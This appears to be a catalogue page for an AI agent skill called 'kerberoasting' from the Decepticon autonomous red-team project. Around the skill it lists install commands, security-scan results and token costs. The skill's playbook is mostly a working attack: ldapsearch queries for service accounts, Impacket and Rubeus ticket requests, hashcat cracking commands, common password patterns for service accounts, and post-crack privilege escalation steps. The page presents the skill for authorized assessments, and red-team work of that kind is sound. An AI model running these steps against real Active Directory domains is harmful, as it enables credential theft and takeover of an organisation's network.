Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill kerberoastinggit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/kerberoasting)<a href="https://agentmods.dev/skills/purpleailab/decepticon/kerberoasting"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/kerberoasting/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/kerberoasting"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/kerberoasting.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 17 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00030 | $0.01046 |
| Opus 5 | $0.00015 | $0.00523 |
| Sonnet 5 | $0.00006 | $0.00209 |
| Haiku 4.5 | $0.00003 | $0.00105 |
Grade A, and why
kerberoasting scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- kerberoasting — 97% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 98 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Kerberoasting Playbook
Prerequisite
Any valid domain user. No special privileges required.
1. Identify roastable accounts
From BloodHound ingest:
kg_query(kind="user", filter="hasspn=true and enabled=true")
Or LDAP-direct:
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
sAMAccountName servicePrincipalName > /tmp/spns.txt
2. Request TGS tickets
Impacket (most reliable):
GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-outputfile /tmp/kerb.hashes
Rubeus (from Windows beachhead):
Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrap
Modern hashes are $krb5tgs$23$*user$DOM$spn*$<ciphertext> (RC4). If
forest is Win2012+, AES tickets may come back as $krb5tgs$18$*….
3. Crack offline
# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt
# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
--rules-file /usr/share/hashcat/rules/d3ad0ne.rule
Service-account heuristics: 60-70% of kerberoasted accounts use:
- ServiceName + season + year (e.g.
SQLSvc2024!,IISWinter25) - App name + 4-digit numbers
- Default install passwords (Veeam, SCCM, Splunk admins)
- Custom dict from OSINT (company name, products, projects)
4. Promote cracked credential
kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
props={"source":"kerberoast","crack_time":"<n>m","mode":"hashcat-m13100"})
kg_add_edge(src=<cred>, dst=<user>, kind="authenticates")
5. Post-crack actions
Whatever the service account can reach is now yours:
- Run BloodHound as the new cred → re-ingest
- Often these accounts have AdminTo on the box hosting the service
- Sometimes they're members of Tier-0 groups (yes, really)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 98 lines · 30 tokens per session scan A 6e05c077bd61
kerberoasting is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 12d ago), licensed Apache-2.0. It adds 30 tokens to every session and 1,046 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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